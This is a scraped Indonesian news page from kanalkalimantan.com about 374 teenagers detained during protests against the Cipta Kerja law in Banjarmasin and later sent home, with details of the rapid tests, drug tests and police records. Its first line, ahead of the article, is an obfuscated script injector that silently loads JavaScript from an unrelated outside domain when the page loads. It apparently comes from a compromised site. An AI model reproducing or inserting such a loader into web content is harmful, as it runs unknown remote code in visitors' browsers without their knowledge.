(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

374 Remaja Banjarmasin Dipulangkan, Lima Reaktif, Sajam Hingga Cek Urine Narkoba Jadi Catatan Kepolisian


KANALKALIMANTAN.COM, BANJARMASIN – Aksi demonstrasi susulan penolakan Undang-Undang Cipta Kerja pada Kamis (15/10/2020) kemarin, ternyata juga diikuti oleh anak-anak remaja. Tercatat, ada 374 remaja yang diamankan, dimana 270 remaja diamankan di Polda Kalsel dan 104 remaja digiring ke Polresta Banjarmasin, guna menjalani pemeriksaan.

Pada Jumat (16/10/2020) siang, Kapolda Kalsel Irjen Pol Nico Afinta mengumpulkan seluruh remaja yang diamankan di aula Bhayangkari Mapolda Kalsel di Banjarmasin sebelum dipulangkan. Di mana, orangtua dari remaja ini diharuskan untuk datang menjemput anak-anaknya yang diamankan oleh aparat.

Nico beralasan, diamankannya 374 remaja ini guna mencegah terjadinya keributan di tengah aksi demonstrasi penolakan UU Cipta Kerja yang didominasi oleh mahasiswa. Agar, tidak ada perselisihan antara mahasiswa dengan aparat keamanan yang melakukan penjagaan.

Nico menerangkan, seluruh remaja yang diamankan harus menjalani rapid test. “Hasilnya, ada lima orang yang reaktif rapid test. Sehingga kami kirimkan ke rumah sakit untuk segera dilakukan swab,” kata Nico.

Tak hanya itu, jajarannya juga melakukan test urine terhadap seluruh remaja yang diamankan. Hasilnya, empat remaja laki-laki dan satu remaja perempuan dinyatakan positif mengkonsumsi narkoba.

“Ada satu orang yang membawa senjata tajam,” imbuh Nico.

Bahkan, seluruh remaja ini telah mendapat catatan dari kepolisian. Sehingga, baik orangtua remaja maupun pihak sekolah mendapat pemberitahuan dari kepolisian untuk memberikan pembinaan.

“Upaya-upaya inilah yang merupakan bagian dari harkamtibmas (pemeliharaan keamanan dan ketertiban masyarakat). Saya kira, adik-adik yang membawa senjata tajam itu kita proses, baru dimasukkan ke SKCK (surat keterangan catatan kepolisian),” terang jenderal bintang dua ini.

Selain itu, remaja yang kedapatan positif narkoba, maka akan ditindaklanjuti apakah memiliki narkoba atau tidak. Hasilnya juga akan dicatat oleh kepolisian.

“Jadi melalui proses pengadilan terlebih dahulu. Kalau belum, maka akan kami beritahukan langkah-langkah ke orangtua dan sekolah,” pungkas Nico. (kanalkalimantan.com/fikri)

 

Reporter: Fikri
Editor : Bie


Desy Arfianty

Recent Posts

Uji Trayek Angkutan Bus Pengumpan di Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Kota Banjarbaru melakukan uji coba trayek atau rute angkutan… Read More

4 menit ago

Mengulang Pertarungan di Pilgub Kalsel, Denny Indrayana Lamar Nasdem

KANALKALIMANTAN.COM, BANJARBARU - Menjelang Pemilihan Kepala Daerah (Pilkada) 2024 di Provinsi Kalimantan Selatan (Kalsel), kandidat… Read More

3 jam ago

Kota Banjarbaru Catat Investasi Triwulan I 2024 Senilai Rp204 Miliar

KANALKALIMANTAN.COM, BANJARBARU - Nilai investasi di Kota Banjarbaru terus mengalir dari tahun ke tahun. Setidaknya… Read More

5 jam ago

Bela Palestina, Mahasiswa-Civitas Akademika Universitas Muhammadiyah Banjarmasin Gelar Aksi

KANALKALIMANTAN.COM, BANJARMASIN - Forum Rektor Perguruan Tinggi Muhammadiyah dan Aisyiyah (FR PTMA) secara serentak menggelar… Read More

5 jam ago

Hadiri Halalbihalal Bersama Potensi Kesejahteraan Sosial, Bupati Banjar Dapat Kejutan

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur mendapat kejutan berupa ucapan selamat ulang tahun… Read More

7 jam ago

Puluhan Calon PPK di Banjarbaru Ikuti Tes Tertulis

KANALKALIMANTAN.COM, BANJARBARU - Puluhan orang calon Panitia Pemilihan Kecamatan (PPK) untuk Pilkada 2024 di Kota… Read More

7 jam ago

This website uses cookies.